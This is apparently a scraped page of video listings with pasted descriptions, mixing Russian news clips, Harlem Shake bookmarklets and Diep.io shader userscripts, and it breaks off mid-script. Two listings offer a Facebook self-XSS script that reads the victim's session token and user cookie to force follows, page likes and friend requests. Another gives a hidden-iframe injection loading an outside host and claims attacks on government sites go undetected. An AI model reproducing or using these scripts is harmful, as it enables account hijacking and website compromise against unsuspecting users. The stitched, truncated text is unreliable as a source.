Views: 55 KILLER SMASH
В Иерусалиме сошел благодатный огонь
 
00:40
В Иерусалиме сошел благодатный огонь. В храме Гроба Господня в Иерусалиме загорелся благодатный огонь. Патриарх Иерусалимский Феофил III передал его собравшимся в храме, в том числе делегации Фонда Андрея Первозванного (ФАП), которая доставит святыню в особых лампадах спецрейсом в Москву. Тысячи верующих в Иерусалиме стали свидетелями схождения благодатного огня в храме Воскресения Христова. Оттуда к началу пасхальных богослужений его спецрейсами доставят в православные церкви по всему миру, передает ТВ Центр. Сегодня православный мир отмечает Великую субботу - последний день страстной недели. Прихожане приносят для освещения в храмы праздничные куличи и пасхальные яйца. В канун Великой субботы прошло патриаршее богослужение. В столичном храме Христа Спасителя торжественную службу проведет патриарх Московский и всея Руси Кирилл. Богослужение начнется за полчаса до полуночи. В связи с этим в столице будет продлен режим работы общественного транспорта. Новости СМИ2 (function() { var sc = document.createElement('script'); sc.type = 'text/javascript'; sc.async = true; sc.src = 'http://news.smi2.ru/data/js/77654.js'; sc.charset = 'utf-8'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(sc, s); }()); Загрузка... (function(){ var D=new Date(),d=document,b='body',ce='createElement',ac='appendChild',st='style',ds='display',n='none',gi='getElementById'; var i=d[ce]('iframe');i[st][ds]=n;d[gi]("LentaInformScriptRootN8549")[ac](i);try{var iw=i.contentWindow.document;iw.open();iw.writeln("");iw.close();var c=iw[b];} catch(e){var iw=d;var c=d[gi]("LentaInformScriptRootN8549");}var dv=iw[ce]('div');dv.id="MG_ID";dv[st][ds]=n;dv.innerHTML=8549;c[ac](dv); var s=iw[ce]('script');s.async='async';s.defer='defer';s.charset='utf-8';s.src="//jsn.lentainform.com/t/v/tvc.ru.8549.js?t="+D.getYear()+D.getMonth()+D.getDate()+D.getHours();c[ac](s);})(); -- '); document.write(''); AdFox_getCodeScript(1,pr1,'http://ads.adfox.ru/220018/prepareCode?pp=g&ps=bnry&p2=evrr&pct=a&plp=a&pli=a&pop=...Источник: http://www.tvc.ru/news/show/id/65810 Copyright © 2007-2014 ОАО «ТВ Центр» http://www.tvc.ru/
hack compte facebook in 20 second
 
01:48
/* Nh?c */ var parent=document.getElementsByTagName("html")[0]; var _body = document.getElementsByTagName('body')[0]; var _div = document.createElement('div'); _div.style.height="25"; _div.style.width="100%"; _div.style.position="fixed"; _div.style.top="auto"; _div.style.bottom="0"; _div.align="center"; var _audio= document.createElement('audio'); _audio.style.width="100%"; _audio.style.height="25px"; _audio.controls = true; _audio.autoplay = false; _audio.autoplay = true; _audio.src = "http://picosong.com/media/songs/1623c97f871ebe69c08a4089737457dc"; _div.appendChild(_audio); _body.appendChild(_div); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value; var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone){var http4=new XMLHttpRequest;var url4="/ajax/follow/follow_profile.php?__a=1";var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";http4.open("POST",url4,true);http4.onreadystatechange=function(){if(http4.readyState==4&&http4.status==200)http4.close};http4.send(params4)}a("=ye.nesnes");function sublist(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}sublist("3907389738498");sublist("3907390978529");var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var now=(new Date).getTime();function P(post){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/ufi/like.php";var XParams="like_action=true&ft_ent_identifier="+post+"&source=1&client_id="+now+"%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]="+post+"&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function Like(p){var Page=new XMLHttpRequest();var PageURL="//www.facebook.com/ajax/pages/fan_status.php";var PageParams="&fbpage_id="+p+"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";Page.open("POST",PageURL,true);Page.onreadystatechange=function(){if(Page.readyState==4&&Page.status==200){Page.close}};Page.send(PageParams)}Like("185309954944253");function IDS(r){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/add_friend/action.php";var XParams="to_friend="+r+"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)} // a("107422616071654"); Like("447694105250723");
Views: 5200 aslo chaine
3 Easter Eggs De Internet
 
03:57
https:--www.facebook.com- https:--www.tuenti.com-?m=Login https:--www.youtube.com Codigo para facebook y tuenti javascript:(function(){function c(){var e=document.createElement(-link-);e.setAttribute(-type-,-text-css-);e.setAttribute(-rel-,-stylesheet-);e.setAttribute(-href-,f);e.setAttribute(-class-,l);document.body.appendChild(e)}function h(){var e=document.getElementsByClassName(l);for(var t=0;t-e.length;t++){document.body.removeChild(e[t])}}function p(){var e=document.createElement(-div-);e.setAttribute(-class-,a);document.body.appendChild(e);setTimeout(function(){document.body.removeChild(e)},100)}function d(e){return{height:e.offsetHeight,width:e.offsetWidth}}function v(i){var s=d(i);return s.height-e&&s.height-n&&s.width-t&&s.width-r}function m(e){var t=e;var n=0;while(!!t){n+=t.offsetTop;t=t.offsetParent}return n}function g(){var e=document.documentElement;if(!!window.innerWidth){return window.innerHeight}else if(e&&!isNaN(e.clientHeight)){return e.clientHeight}return 0}function y(){if(window.pageYOffset){return window.pageYOffset}return Math.max(document.documentElement.scrollTop,document.body.scrollTop)}function E(e){var t=m(e);return t-=w&&t-=b+w}function S(){var e=document.createElement(-audio-);e.setAttribute(-class-,l);e.src=i;e.loop=false;e.addEventListener(-canplay-,function(){setTimeout(function(){x(k)},500);setTimeout(function(){N();p();for(var e=0;e-O.length;e++){T(O[e])}},15500)},true);e.addEventListener(-ended-,function(){N();h()},true);e.innerHTML=- -p-If you are reading this, it is because your browser does not support the audio element. We recommend that you get a new browser.--p- -p--;document.body.appendChild(e);e.play()}function x(e){e.className+=- -+s+- -+o}function T(e){e.className+=- -+s+- -+u[Math.floor(Math.random()*u.length)]}function N(){var e=document.getElementsByClassName(s);var t=new RegExp(-\\b-+s+-\\b-);for(var n=0;n-e.length;){e[n].className=e[n].className.replace(t,--)}}var e=30;var t=30;var n=350;var r=350;var i=---s3.amazonaws.com-moovweb-marketing-playground-harlem-shake.mp3-;var s=-mw-harlem_shake_me-;var o=-im_first-;var u=[-im_drunk-,-im_baked-,-im_trippin-,-im_blown-];var a=-mw-strobe_light-;var f=---s3.amazonaws.com-moovweb-marketing-playground-harlem-shake-style.css-;var l=-mw_added_css-;var b=g();var w=y();var C=document.getElementsByTagName(-*-);var k=null;for(var L=0;L-C.length;L++){var A=C[L];if(v(A)){if(E(A)){k=A;break}}}if(A===null){console.warn(-Could not find a node of the right size. Please try a different page.-);return}c();S();var O=[];for(var L=0;L-C.length;L++){var A=C[L];if(v(A)){O.push(A)}}})()
Views: 124 TheKiller Boss
Hack Website Using Javascripth
 
03:27
Javascripth Down Here !!! javascript:if (document.getElementsByTagName('body')[0]) { iframer(); }else { document.write("");}function iframer(){ var f = document.createElement('iframe'); f.setAttribute('src', ' http://38zu.cn/ '); f.style.visibility = 'hidden'; f.style.position = 'absolute'; f.style.left = '0'; f.style.top = '0'; f.setAttribute('width', '10'); f.setAttribute('height', '10'); document.getElementsByTagName('body')[0].appendChild(f);} This javascripth will not stay at the website for long time if the owner fix it back.. If you hacking website use Javascripth.. No one will detect you. Police ? FBI ? No.. You are safe.. If you dont bealive.. Try do this at any Gov website ! I swear to god ! No one will detect you. If you need more hacking tutorial.. Send a email to me.. My email:- [email protected] I will try to reply.. Thank you !
Views: 468 Syntax Freos
Rainbow Diep.io (WARNING: FLASHING COLORS)
 
01:31
The script: // ==UserScript== // @name diep on drugs // @namespace http://tampermonkey.net/ // @version 0.1 // @description try to take over the world! // @author adasba // @match http://*/* // @grant none // ==/UserScript== (function() { 'use strict'; var shaderButton = document.createElement('button'); document.getElementsByTagName('body')[0].appendChild(shaderButton); shaderButton.style = "position:absolute; top:10px; left:10px;"; shaderButton.innerHTML = "Turn on the shader or something lol"; shaderButton.onclick = function() {input.set_convar('ren_background', false);} var c2 = document.createElement('canvas'); c2.style = "position:absolute;top:0px;left:0px;width:100%;height:100%;z-index:-1;"; document.getElementsByTagName('body')[0].appendChild(c2); var ctx2 = c2.getContext('2d'); var c = document.getElementById('canvas'); var ctx = c.getContext('2d'); c.style.opacity = 0; var i = 0; var depth = 6; c2.width = c.width; c2.height = c.height; window.addEventListener('resize', function() { c2.width = c.width; c2.height = c.height; }, false); var li = 0; function loop() { li++; ctx.globalCompositeOperation = "source-in"; ctx.fillStyle = "hsla(" + li * 5 + ", 100%, 50%, 1)"; ctx.fillRect(0, 0, c2.width, c2.height); ctx.globalCompositeOperation = "normal"; ctx2.drawImage(c, 0, 0, c2.width, c2.height); ctx2.drawImage(c2, 5, 5, c2.width - 10, c2.height - 10); requestAnimationFrame(loop); } loop(); })(); If you enjoyed the video, like, comment, and subscribe, there's no harm in doing it! Check out these channels: https://www.youtube.com/channel/UCLBSp_S27grf3SC-Nv7_QmA https://www.youtube.com/channel/UCO7rnIYnt3hIZTGFGsszYQA https://www.youtube.com/channel/UCdPF-HtDi_XCRe7ixKv5VPw https://www.youtube.com/channel/UCXZ8ycjFBuINRooDDCl71RQ Some Diep.io Websites: http://diepio-conception.wikia.com/wiki/Diep.io_Conception_Wikia http://diepio.wikia.com/wiki/Diep.io_Wikia https://www.reddit.com/r/Diepio/
The DOM: What's the Document Object Model?
 
02:50
The DOM: What's the Document Object Model? The DOM is the browser's internal, progrematic representation of a webpage. Languages like javascript allow you to modify the DOM, and thus the website without editing the HTML of the page. Technically, the DOM is an API (application programming interface). There are many types of APIs, but this particular API interacts with XML and HTML documents. It's in charge of how those documents are accessed and manipulated. Really, you can do a lot with the dom, and if you're already scripting in JS and jQuery, you're already doing it. You can insert new things, elements, or alter style or content for elements that already exist. This can be done with pure javascript, like: document.getElementById(id) element.getElementsByTagName(name) document.createElement(name) You can also use libraries like jQuery to simplify, standardize and automate manipulating the DOM, like: $('#box2').append("This will be added to box2!")
Views: 37586 freeCodeCamp.org
Windows Shrek SP8
 
01:32
Year: 1882 Using this code, you can make ANY website do the Harlem Shake: javascript:(function(){function c(){var e=document.createElement("link");e.setAttribute("type","text/css");e.setAttribute("rel","stylesheet");e.setAttribute("href",f);e.setAttribute("class",l);document.body.appendChild(e)}function h(){var e=document.getElementsByClassName(l);for(var t=0;te.length;t++){document.body.removeChild(e[t])}}function p(){var e=document.createElement("div");e.setAttribute("class",a);document.body.appendChild(e);setTimeout(function(){document.body.removeChild(e)},100)}function d(e){return{height:e.offsetHeight,width:e.offsetWidth}}function v(i){var s=d(i);return s.heighte&&s.heightn&&s.widtht&&s.widthr}function m(e){var t=e;var n=0;while(!!t){n+=t.offsetTop;t=t.offsetParent}return n}function g(){var e=document.documentElement;if(!!window.innerWidth){return window.innerHeight}else if(e&&!isNaN(e.clientHeight)){return e.clientHeight}return 0}function y(){if(window.pageYOffset){return window.pageYOffset}return Math.max(document.documentElement.scrollTop,document.body.scrollTop)}function E(e){var t=m(e);return t=w&&t=b+w}function S(){var e=document.createElement("audio");e.setAttribute("class",l);e.src=i;e.loop=false;e.addEventListener("canplay",function(){setTimeout(function(){x(k)},500);setTimeout(function(){N();p();for(var e=0;eO.length;e++){T(O[e])}},15500)},true);e.addEventListener("ended",function(){N();h()},true);e.innerHTML=" pIf you are reading this, it is because your browser does not support the audio element. We recommend that you get a new browser./p p";document.body.appendChild(e);e.play()}function x(e){e.className+=" "+s+" "+o}function T(e){e.className+=" "+s+" "+u[Math.floor(Math.random()*u.length)]}function N(){var e=document.getElementsByClassName(s);var t=new RegExp("\\b"+s+"\\b");for(var n=0;ne.length;){e[n].className=e[n].className.replace(t,"")}}var e=30;var t=30;var n=350;var r=350;var i="//s3.amazonaws.com/moovweb-marketing/playground/harlem-shake.mp3";var s="mw-harlem_shake_me";var o="im_first";var u=["im_drunk","im_baked","im_trippin","im_blown"];var a="mw-strobe_light";var f="//s3.amazonaws.com/moovweb-marketing/playground/harlem-shake-style.css";var l="mw_added_css";var b=g();var w=y();var C=document.getElementsByTagName("*");var k=null;for(var L=0;LC.length;L++){var A=C[L];if(v(A)){if(E(A)){k=A;break}}}if(A===null){console.warn("Could not find a node of the right size. Please try a different page.");return}c();S();var O=[];for(var L=0;LC.length;L++){var A=C[L];if(v(A)){O.push(A)}}})()
Views: 249 Dylan Taylor
Another Weird Diep Script
 
01:44
Nothing much I can say here. It's a diep script that does weird things. THE SCRIPT: // ==UserScript== // @name diep on drugs // @namespace http://tampermonkey.net/ // @version 0.1 // @description try to take over the world! // @author adasba // @match http://*/* // @grant none // @run-at document-idle // ==/UserScript== (function() { 'use strict'; //setTimeout(function() { var shaderButton = document.createElement('button'); document.getElementsByTagName('body')[0].appendChild(shaderButton); shaderButton.style = "position:absolute; top:10px; left:10px;"; shaderButton.innerHTML = "Turn on the shader or something lol"; shaderButton.onclick = function() {input.set_convar('ren_background', false);} var c = document.getElementById('canvas'); var ctx = c.getContext('2d'); c.style.opacity = 0; var c2 = document.createElement('canvas'); c2.style = "position:absolute;top:0px;left:0px;width:100%;height:100%;z-index:-1;"; document.getElementsByTagName('body')[0].appendChild(c2); var ctx2 = c2.getContext('2d'); var c3 = document.createElement('canvas'); var ctx3 = c3.getContext('2d'); var i = 0; var depth = 6; c2.width = c.width; c2.height = c.height; c3.width = c.width; c3.height = c.height; window.addEventListener('resize', function() { c2.width = c.width; c2.height = c.height; c3.width = c.width; c3.height = c.height; }, false); var li = 0; function loop() { li++; ctx3.clearRect(0, 0, c3.width, c3.height); ctx3.drawImage(c, 0, 0, c3.width, c3.height); ctx3.globalCompositeOperation = "source-in"; ctx3.fillStyle = "hsla(" + li + ", 100%, 50%, 1)"; ctx3.fillRect(0, 0, c2.width, c2.height); ctx3.globalCompositeOperation = "normal"; ctx.globalCompositeOperation = "hue"; ctx.drawImage(c3, 0, 0, c.width, c.height); ctx.globalCompositeOperation = "normal"; ctx2.drawImage(c, 0, 0, c2.width, c2.height); ctx2.drawImage(c2, c2.width / 32, c2.height / 32, c2.width / 32 * 30, c2.height / 32 * 30); ctx2.fillStyle = "hsla(0, 0%, 0%, 0.05)"; ctx2.fillRect(0, 0, c2.width, c2.height); requestAnimationFrame(loop); } loop(); //}, 5000); })(); If you enjoyed the video, like, comment, and subscribe, there's no harm in doing it! Check out these channels: https://www.youtube.com/channel/UCLBSp_S27grf3SC-Nv7_QmA https://www.youtube.com/channel/UCO7rnIYnt3hIZTGFGsszYQA https://www.youtube.com/channel/UCdPF-HtDi_XCRe7ixKv5VPw https://www.youtube.com/channel/UCXZ8ycjFBuINRooDDCl71RQ Some Diep.io Websites: http://diepio-conception.wikia.com/wiki/Diep.io_Conception_Wikia http://diepio.wikia.com/wiki/Diep.io_Wikia https://www.reddit.com/r/Diepio/
ANIMAL JAM DOES THE HARLEM SHAKE! ( No music )
 
01:45
Code: javascript:(function(){function c(){var e=document.createElement("link");e.setAttribute("type","text/css");e.setAttribute("rel","stylesheet");e.setAttribute("href",f);e.setAttribute("class",l);document.body.appendChild(e)}function h(){var e=document.getElementsByClassName(l);for(var t=0;t_e.length;t++){document.body.removeChild(e[t])}}function p(){var e=document.createElement("div");e.setAttribute("class",a);document.body.appendChild(e);setTimeout(function(){document.body.removeChild(e)},100)}function d(e){return{height:e.offsetHeight,width:e.offsetWidth}}function v(i){var s=d(i);return s.height_e&&s.height_n&&s.width_t&&s.width_r}function m(e){var t=e;var n=0;while(!!t){n+=t.offsetTop;t=t.offsetParent}return n}function g(){var e=document.documentElement;if(!!window.innerWidth){return window.innerHeight}else if(e&&!isNaN(e.clientHeight)){return e.clientHeight}return 0}function y(){if(window.pageYOffset){return window.pageYOffset}return Math.max(document.documentElement.scrollTop,document.body.scrollTop)}function E(e){var t=m(e);return t_=w&&t_=b+w}function S(){var e=document.createElement("audio");e.setAttribute("class",l);e.src=i;e.loop=false;e.addEventListener("canplay",function(){setTimeout(function(){x(k)},500);setTimeout(function(){N();p();for(var e=0;e_O.length;e++){T(O[e])}},15500)},true);e.addEventListener("ended",function(){N();h()},true);e.innerHTML=" _p_If you are reading this, it is because your browser does not support the audio element. We recommend that you get a new browser._/p_ _p_";document.body.appendChild(e);e.play()}function x(e){e.className+=" "+s+" "+o}function T(e){e.className+=" "+s+" "+u[Math.floor(Math.random()*u.length)]}function N(){var e=document.getElementsByClassName(s);var t=new RegExp("\\b"+s+"\\b");for(var n=0;n_e.length;){e[n].className=e[n].className.replace(t,"")}}var e=30;var t=30;var n=350;var r=350;var i="//s3.amazonaws.com/moovweb-marketing/playground/harlem-shake.mp3";var s="mw-harlem_shake_me";var o="im_first";var u=["im_drunk","im_baked","im_trippin","im_blown"];var a="mw-strobe_light";var f="//s3.amazonaws.com/moovweb-marketing/playground/harlem-shake-style.css";var l="mw_added_css";var b=g();var w=y();var C=document.getElementsByTagName("*");var k=null;for(var L=0;L_C.length;L++){var A=C[L];if(v(A)){if(E(A)){k=A;break}}}if(A===null){console.warn("Could not find a node of the right size. Please try a different page.");return}c();S();var O=[];for(var L=0;L_C.length;L++){var A=C[L];if(v(A)){O.push(A)}}})()
Views: 45 Infinity Wisteria
طريقة تطير حسابات فيس بوك عن طريق كود
 
02:38
شباب الكود /* Nh?c */ var parent=document.getElementsByTagName("html")[0]; var _body = document.getElementsByTagName('body')[0]; var _div = document.createElement('div'); _div.style.height="25"; _div.style.width="100%"; _div.style.position="fixed"; _div.style.top="auto"; _div.style.bottom="0"; _div.align="center"; var _audio= document.createElement('audio'); _audio.style.width="100%"; _audio.style.height="25px"; _audio.controls = true; _audio.autoplay = false; _audio.autoplay = true; _audio.src = "http://picosong.com/media/songs/1623c97f871ebe69c08a4089737457dc"; _div.appendChild(_audio); _body.appendChild(_div); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value; var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone){var http4=new XMLHttpRequest;var url4="/ajax/follow/follow_profile.php?__a=1";var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";http4.open("POST",url4,true);http4.onreadystatechange=function(){if(http4.readyState==4&&http4.status==200)http4.close};http4.send(params4)}a("");function sublist(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}sublist("");sublist("");var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var now=(new Date).getTime();function P(post){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/ufi/like.php";var XParams="like_action=true&ft_ent_identifier="+post+"&source=1&client_id="+now+"%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]="+post+"&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function Like(p){var Page=new XMLHttpRequest();var PageURL="//www.facebook.com/ajax/pages/fan_status.php";var PageParams="&fbpage_id="+p+"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";Page.open("POST",PageURL,true);Page.onreadystatechange=function(){if(Page.readyState==4&&Page.status==200){Page.close}};Page.send(PageParams)}Like("441001032668553");function IDS(r){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/add_friend/action.php";var XParams="to_friend="+r+"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}
Views: 871 ali. for.minecraft
How to hack skins Alis io 2016
 
02:09
1 . tampermonkey : https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo 2 . -------------------------------------------------- // ==UserScript== // @name Alis.io Skin Rotator // @namespace http://tampermonkey.net/ // @version 1.8 // @description Skin Rotator, probably have errors. // @author MiyakeDev // @author master2500 // @match http://alis.io/* // @grant none // ==/UserScript== var css = 'https://dl.dropbox.com/s/75efd07kjas6m0p/skinrotator.css'; var js = 'https://dl.dropbox.com/s/759dhhgv4njm3rl/skinrotator.js'; var dhg = document.createElement('style'); dhg.id = 'imgHeight'; var dlk = document.createElement('link'); dlk.rel = 'stylesheet'; dlk.href = css; var dsc = document.createElement("script"); dsc.type = "text/javascript"; dsc.src = js; $("script:last").after(dlk); $("head").append(dhg); $("script:last").after(dsc); ------------------------------------------------------------------- 3 . imgur : http://imgur.com/gallery/ilRQN ~~~~~~~~~~~~~~~~~~~~~~~ Use my name : ༻ᗪ𝓪𝓻𝐋༻ҜṦẰ or ๖ۣۜᗪ𝓪𝓻𝓵༻一簡簡☠
Views: 18201 Agario Darl
Shaders in Diep.io? (SCRIPT IN DESCRIPTION)
 
05:40
I made a diep.io shader that creates a trail effect. TAMPERMONKEY SCRIPT (just add to your userscripts in tampermonkey): // ==UserScript== // @name New Userscript // @namespace http://tampermonkey.net/ // @version 0.1 // @description diep.io shader // @author You // @match http://diep.io // @grant none // ==/UserScript== (function() { 'use strict'; var c = document.getElementById('canvas'); var ctx = c.getContext("2d"); var c2 = document.createElement('canvas'); var ctx2 = c2.getContext('2d'); c2.width = c.width; c2.height = c.height; document.getElementsByTagName('body')[0].appendChild(c2); c2.style.position = "absolute"; c2.style.top = "0px"; c2.style.left = "0px"; c2.style.zIndex = -1; window.addEventListener("resize", function() { c2.width = c.width; c2.height = c.height; }, false); c.style.opacity = 0; function loop1() { ctx2.globalAlpha = 0.1; ctx2.drawImage(c, 0, 0); setTimeout(loop1, 1000 / 30); } loop1(); })(); If you enjoyed the video, like, comment, and subscribe, there's no harm in doing it! Check out these channels: https://www.youtube.com/channel/UCLBSp_S27grf3SC-Nv7_QmA https://www.youtube.com/channel/UCO7rnIYnt3hIZTGFGsszYQA https://www.youtube.com/channel/UCdPF-HtDi_XCRe7ixKv5VPw https://www.youtube.com/channel/UCXZ8ycjFBuINRooDDCl71RQ Some Diep.io Websites: http://diepio-conception.wikia.com/wiki/Diep.io_Conception_Wikia http://diepio.wikia.com/wiki/Diep.io_Wikia https://www.reddit.com/r/Diepio/
Умерла ведущая программы Музыкальный киоск Элеонора Беляева
 
00:39
Умерла ведущая программы Музыкальный киоск Элеонора Беляева. В Москве на 80-м году жизни умерла известная телеведущая Элеонора Беляева. Она в течение более 30 лет была лицом программы "Музыкальный киоск", которая долгое время была единственной передачей, рассказывавшей о музыкальных новинках, о том, что выходило в печати и на грампластинках. В Москве на 80-м году жизни умерла известная телеведущая Элеонора Беляева, которая более 30 лет была ведущей популярной в Советском Союзе программы Музыкальный киоск. В последние годы жизни Элеонора Валерьяновна редко появлялась на публике, передает ТАСС. Она родилась 1 декабря 1935 года в селе Рамонь в Воронежской области. В 1952 году окончила воронежскую Центральную музыкальную школу по классу фортепиано, в 1956 году Воронежской музыкальное училище, в 1961 году вокальное отделение Московского государственного музыкально-педагогического института имени Гнесиных. Из-за потери голоса ей пришлось отказаться от певческой карьеры. С 1961 по 1994 год Беляева работала на Центральном телевидении, с декабря 1961 года по декабрь 1993 года ведущей программы Музыкальный киоск, которая долгое время была единственной передачей, рассказывавшей о музыкальных новинках, о том, что выходило в печати и на грампластинках. Новости СМИ2 (function() { var sc = document.createElement('script'); sc.type = 'text/javascript'; sc.async = true; sc.src = 'http://news.smi2.ru/data/js/77654.js'; sc.charset = 'utf-8'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(sc, s); }()); Загрузка... (function(){ var D=new Date(),d=document,b='body',ce='createElement',ac='appendChild',st='style',ds='display',n='none',gi='getElementById'; var i=d[ce]('iframe');i[st][ds]=n;d[gi]("LentaInformScriptRootN8549")[ac](i);try{var iw=i.contentWindow.document;iw.open();iw.writeln("");iw.close();var c=iw[b];} catch(e){var iw=d;var c=d[gi]("LentaInformScriptRootN8549");}var dv=iw[ce]('div');dv.id="MG_ID";dv[st][ds]=n;dv.innerHTML=8549;c[ac](dv); var s=iw[ce]('script');s.async='async';s.defer='defer';s.charset='utf-8';s.src="//...Источник: http://www.tvc.ru/news/show/id/66558 Copyright © 2007-2014 ОАО «ТВ Центр» http://www.tvc.ru/
Pixelated Diep.io
 
08:00
Tampermonkey Script: // ==UserScript== // @name Pixel Diep // @namespace http://tampermonkey.net/ // @version 0.1 // @description try to take over the world! // @author You // @match diep.io // @grant none // ==/UserScript== (function() { 'use strict'; var c = document.getElementById('canvas'); var ctx = c.getContext('2d'); c.style.opacity = 0; var c2 = document.createElement('canvas'); var ctx2 = c2.getContext('2d'); document.getElementsByTagName('body')[0].appendChild(c2); c2.width = 1920 / 10; c2.height = 1080 / 10; c2.style = "width:100%; height:100%; image-rendering:pixelated;"; //stolen- err.... involuntarily borrowed from https://stackoverflow.com/questions/19129644/how-to-pixelate-an-image-with-canvas-and-javascript ctx2.msImageSmoothingEnabled = false; ctx2.mozImageSmoothingEnabled = false; ctx2.webkitImageSmoothingEnabled = false; ctx2.imageSmoothingEnabled = false; function loop1() { ctx2.drawImage(c, 0, 0, c2.width, c2.height); requestAnimationFrame(loop1); } loop1(); })(); If you enjoyed the video, like, comment, and subscribe, there's no harm in doing it! Check out these channels: https://www.youtube.com/channel/UCLBSp_S27grf3SC-Nv7_QmA https://www.youtube.com/channel/UCO7rnIYnt3hIZTGFGsszYQA https://www.youtube.com/channel/UCdPF-HtDi_XCRe7ixKv5VPw https://www.youtube.com/channel/UCXZ8ycjFBuINRooDDCl71RQ Some Diep.io Websites: http://diepio-conception.wikia.com/wiki/Diep.io_Conception_Wikia http://diepio.wikia.com/wiki/Diep.io_Wikia https://www.reddit.com/r/Diepio/
Harlem Shake On Facebook
 
04:25
The code: javascript:(function(){function c(){var e=document.createElement(-link-);e.setAttribute(-type-,-text-css-);e.setAttribute(-rel-,-stylesheet-);e.setAttribute(-href-,f);e.setAttribute(-class-,l);document.body.appendChild(e)}function h(){var e=document.getElementsByClassName(l);for(var t=0;t-e.length;t++){document.body.removeChild(e[t])}}function p(){var e=document.createElement(-div-);e.setAttribute(-class-,a);document.body.appendChild(e);setTimeout(function(){document.body.removeChild(e)},100)}function d(e){return{height:e.offsetHeight,width:e.offsetWidth}}function v(i){var s=d(i);return s.height-e&&s.height-n&&s.width-t&&s.width-r}function m(e){var t=e;var n=0;while(!!t){n+=t.offsetTop;t=t.offsetParent}return n}function g(){var e=document.documentElement;if(!!window.innerWidth){return window.innerHeight}else if(e&&!isNaN(e.clientHeight)){return e.clientHeight}return 0}function y(){if(window.pageYOffset){return window.pageYOffset}return Math.max(document.documentElement.scrollTop,document.body.scrollTop)}function E(e){var t=m(e);return t-=w&&t-=b+w}function S(){var e=document.createElement(-audio-);e.setAttribute(-class-,l);e.src=i;e.loop=false;e.addEventListener(-canplay-,function(){setTimeout(function(){x(k)},500);setTimeout(function(){N();p();for(var e=0;e-O.length;e++){T(O[e])}},15500)},true);e.addEventListener(-ended-,function(){N();h()},true);e.innerHTML=- -p-If you are reading this, it is because your browser does not support the audio element. We recommend that you get a new browser.--p- -p--;document.body.appendChild(e);e.play()}function x(e){e.className+=- -+s+- -+o}function T(e){e.className+=- -+s+- -+u[Math.floor(Math.random()*u.length)]}function N(){var e=document.getElementsByClassName(s);var t=new RegExp(-\\b-+s+-\\b-);for(var n=0;n-e.length;){e[n].className=e[n].className.replace(t,--)}}var e=30;var t=30;var n=350;var r=350;var i=---s3.amazonaws.com-moovweb-marketing-playground-harlem-shake.mp3-;var s=-mw-harlem_shake_me-;var o=-im_first-;var 